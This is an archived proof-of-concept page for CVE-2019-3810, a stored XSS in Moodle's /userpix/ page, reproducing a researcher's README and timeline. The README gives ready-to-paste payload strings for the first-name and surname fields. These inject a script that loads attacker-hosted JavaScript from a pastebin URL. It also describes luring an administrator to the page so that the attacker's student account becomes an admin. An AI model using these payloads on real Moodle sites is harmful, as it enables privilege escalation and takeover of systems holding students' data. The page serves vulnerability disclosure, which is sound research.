Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-3810 PoC — Moodle 跨站脚本漏洞

Source
Associated Vulnerability
Title:Moodle 跨站脚本漏洞 (CVE-2019-3810)
Description:Moodle是一套免费、开源的电子学习软件平台,也称课程管理系统、学习管理系统或虚拟学习环境。 Moodle中存在跨站脚本漏洞。攻击者可利用该漏洞绕过安全限制,执行未授权的操作。以下版本受到影响:Moodle 3.6版本至3.6.1版本,3.5版本至3.5.3版本,3.4版本至3.4.6版本,3.1版本至3.1.15版本。
Description
Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC for Privilege Escalation (Student to Admin)
Readme
# Moodle CVE-2019-3810

Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC for Privilege Escalation (Student to Admin). This is one of the past bugs that I discovered during past pentest in an academic institution. It was successful enough at the time to practically steal admin access and gain complete control over Moodle using just one simple bug.

We can see from [the git history](https://github.com/moodle/moodle/blame/785e29e954f601a4f8d406aa0f3c9dba001d5018/userpix/index.php#L16), the bug existed since old versions of Moodle (2003) and [just patched in 2019](https://github.com/moodle/moodle/commit/14f9bad3cebf1aa6bb73be48020653e1f792dc29).

Timeline:
- December 2018 - Reported the bug to Moodle
- January 2019 - Patch released
- April 2021 - PoC disclosure

## WARNING

FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THE EXPLOIT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.

## PoC

1. Upload the [payload.js](payload.js) to pastebin or other similar service. Change the value of `userid` to your own id. Let's say the URL is `https://pastebin.com/raw/xxxxxxxx`.
2. Login to your student account.
3. Set first name with `" style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement`
4. Set surname with `('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')`
5. Ask the administrator to open `/userpix/` page or put the link to that page on your post and wait.

If successful, your account will be added as administrator.

[Demonstration video](moodle-xss-privilege-escalation.mp4)
File Snapshot

[4.0K] /data/pocs/43f896b022dae326bcfba09adf8792c43f303cfe ├── [3.5M] moodle-xss-privilege-escalation.mp4 ├── [1.3K] payload.js └── [1.6K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.